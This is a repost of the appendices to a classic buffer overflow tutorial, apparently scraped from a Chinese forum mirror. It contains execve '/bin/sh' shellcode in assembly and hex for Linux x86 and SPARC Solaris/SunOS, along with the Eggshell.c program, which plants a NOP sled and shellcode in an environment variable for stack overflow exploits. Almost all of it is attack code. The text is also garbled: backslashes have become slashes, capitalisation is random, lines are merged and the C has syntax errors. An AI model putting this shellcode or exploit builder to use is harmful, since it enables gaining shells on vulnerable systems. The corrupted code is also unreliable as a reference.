MOVL% ESI, 0x8 (% ESI)

XORL% EAX,% EAX

MOVB% EAX, 0x7 (% ESI)

MOVL% EAX, 0xc (% ESI)

MOVB $ 0XB,% Al

MOVL% ESI,% EBX

LEAL 0x8 (% ESI),% ECX

LEAL 0xC (% ESI),% EDX

INT $ 0x80

XORL% EBX,% EBX

MOVL% EBX,% EAX

INC% EAX

INT $ 0x80

Call -0x24

.String / "/ bin / sh /"

-------------------------------------------------- ----------------------------

Sparc / Solaris

-------------------------------------------------- ----------------------------

SETHI 0XBD89A,% L6

OR% L6, 0x16E,% L6

SETHI 0XBDCDA,% L7

And% SP,% SP,% O0

Add% SP, 8,% O1

XOR% O2,% O2,% O2

Add% SP, 16,% SP

STD% L6, [% sp - 16]

ST% SP, [% sp - 8]

ST% G0, [% sp - 4]

MOV 0x3b,% G1

TA 8

XOR% O7,% O7,% O0

MOV 1,% G1

TA 8

-------------------------------------------------- ----------------------------

SPARC / SunOS

-------------------------------------------------- ----------------------------

SETHI 0XBD89A,% L6

OR% L6, 0x16E,% L6

SETHI 0XBDCDA,% L7and% SP,% SP,% O0

Add% SP, 8,% O1

XOR% O2,% O2,% O2

Add% SP, 16,% SP

STD% L6, [% sp - 16]

ST% SP, [% sp - 8]

ST% G0, [% sp - 4]

MOV 0x3b,% G1

MOV -0x1,% L5

TA% L5 1

XOR% O7,% O7,% O0

MOV 1,% G1

TA% L5 1

-------------------------------------------------- ----------------------------

Appendix B - Universal Buffer Overflow Program

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

shellcode.h

-------------------------------------------------- ----------------------------

#if Defined (__ i386__) && defined (__ linux__)

#define NOP_SIZE 1

Char NOP [] = "/ x90";

Char shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Unsigned long get_sp (void) {

__ASM __ ("MOVL% ESP,% EAX");

}

#ELIF Defined (__ sparc__) && defined (__ sun__) && defined (__ SVR4__)

#define NOP_SIZE 4

CHAR NOP [] = "/ xac / x15 / xa1 / x6e";

Char shellcode [] =

"/ X2D / X0B / XD8 / X9A / XAC / X15 / XA1 / X6E / X2F / X0B / XDC / XDA / X90 / X0B / X80 / X0E"

"/ x92 / x03 / xa0 / x08 / x94 / x1a / x80 / ​​x0a / x9c / x03 / xa0 / x10 / xec / x3b / xbf / xf0"

"/ XDC / X23 / XBF / XF8 / XC0 / X23 / XBF / XFC / X82 / X10 / X20 / X3B / X91 / XD0 / X20 / X08"

"/ x90 / x1b / xc0 / x0f / x82 / x10 / x20 / x01 / x91 / xd0 / x20 / x08";

Unsigned long get_sp (void) {

__ASM __ ("OR% SP,% SP,% I0");

}

#ELIF Defined (__ sparc__) && defined (__ sun__)

#define NOP_SIZE 4

CHAR NOP [] = "/ xac / x15 / xa1 / x6e";

Char shellcode [] =

"/ X2D / X0B / XD8 / X9A / XAC / X15 / XA1 / X6E / X2F / X0B / XDC / XDA / X90 / X0B / X80 / X0E"

"/ x92 / x03 / x1a / x80 / ​​x0a / x9c / x03 / xa0 / x10 / xec / x3b / xbf / xf0" "/ xdc / x23 / XBF / XF8 / XC0 / X23 / XBF / XFC / X82 / X10 / X20 / X3B / XAA / X10 / X3F / XFF "

"/ x91 / xd5 / x60 / x01 / x90 / x1b / xc0 / x0f / x82 / x10 / x20 / x01 / x91 / xd5 / x60 / x01"

Unsigned long get_sp (void) {

__ASM __ ("OR% SP,% SP,% I0");

}

#ENDIF

-------------------------------------------------- ----------------------------

Eggshell.c

-------------------------------------------------- ----------------------------

/ *

* Eggshell v1.0

*

* Aleph one / aleph1@underround.org

* /

#include

#include

#include "shellcode.h"

#define default_offset 0

#define default_buffer_size 512

#define default_egg_size 2048

Void Usage (Void);

Void Main (int Argc, char * argv []) {

Char * PTR, * BOF, * EGG;

Long * addr_ptr, addr;

INT offset = default_offset, bsize = default_buffer_size;

INT I, N, M, C, Align = 0, Eggsize = Default_EGG_SIZE DEFT_EGG_SIZE

While (C = Getopt (Argc, Argv, "A: B: E: o:"))! = EOF

Switch (c) {

Case 'a':

Align = ATOI (OPTARG);

Break;

Case 'b':

Bsize = atoi (OPTARG);

Break;

Case 'E':

Eggsize = atoi (OPTARG);

Break;

Case 'o':

OFFSET = ATOI (OPTARG);

Break;

Case '?':

USAGE ();

exit (0);

}

IF (Strlen (shellcode> eggsize) {

Printf ("shellcode is larger the the egg./N");

exit (0);

}

IF (! (bof = malloc (bsize)))) {

Printf ("Can't Allocate Memory./N);

exit (0);

}

IF (! (egg = malloc (eggsize))) {

Printf ("Can't Allocate Memory./N);

exit (0);

}

AddR = get_sp () - offset;

Printf ("[buffer size: / t% d / t / tegg size: / t% d / Taligment: / T% D / T] / N",

BSize, Eggsize, Align; Printf ("[Address: / T0X% x / Toffset: / T% D / T / T / T / T / T / T / T / T / T / T / T / T%, Addr, Offset)

Addr_ptr = (long *) BOF;

For (i = 0; i

* (addr_ptr ) = addr;

PTR = EGG;

For (i = 0; i <= eggsize - strlen (shellcode) - NOP_SIZE; i = NOP_SIZE)

FOR (n = 0; n

M = (N align)% NOP_SIZE;

* (PTR ) = NOP [M];

}

For (i = 0; i

* (PTR ) = shellcode [i];

Bof [BSIZE - 1] = '/ 0';

Egg [Eggsize - 1] = '/ 0';

Memcpy (EGG, "EGG =", 4);

Putenv (EGG);

Memcpy (BOF, "BOF =", 4);

Putenv (BOF);

SYSTEM ("/ bin / sh");

}

Void usage (void) {

(void) FPRINTF (stderr,

"USAGE: Eggshell [-a ] [-b ] [-e ] [-o

ET>] / N ");

}

-------------------------------------------------- ----------------------------

-

※ Source:. Sinbad sinbad.dhs.org. [From: www]

I want to comment

转载请注明原文地址:https://www.9cbs.com/read-111574.html

New Post(0)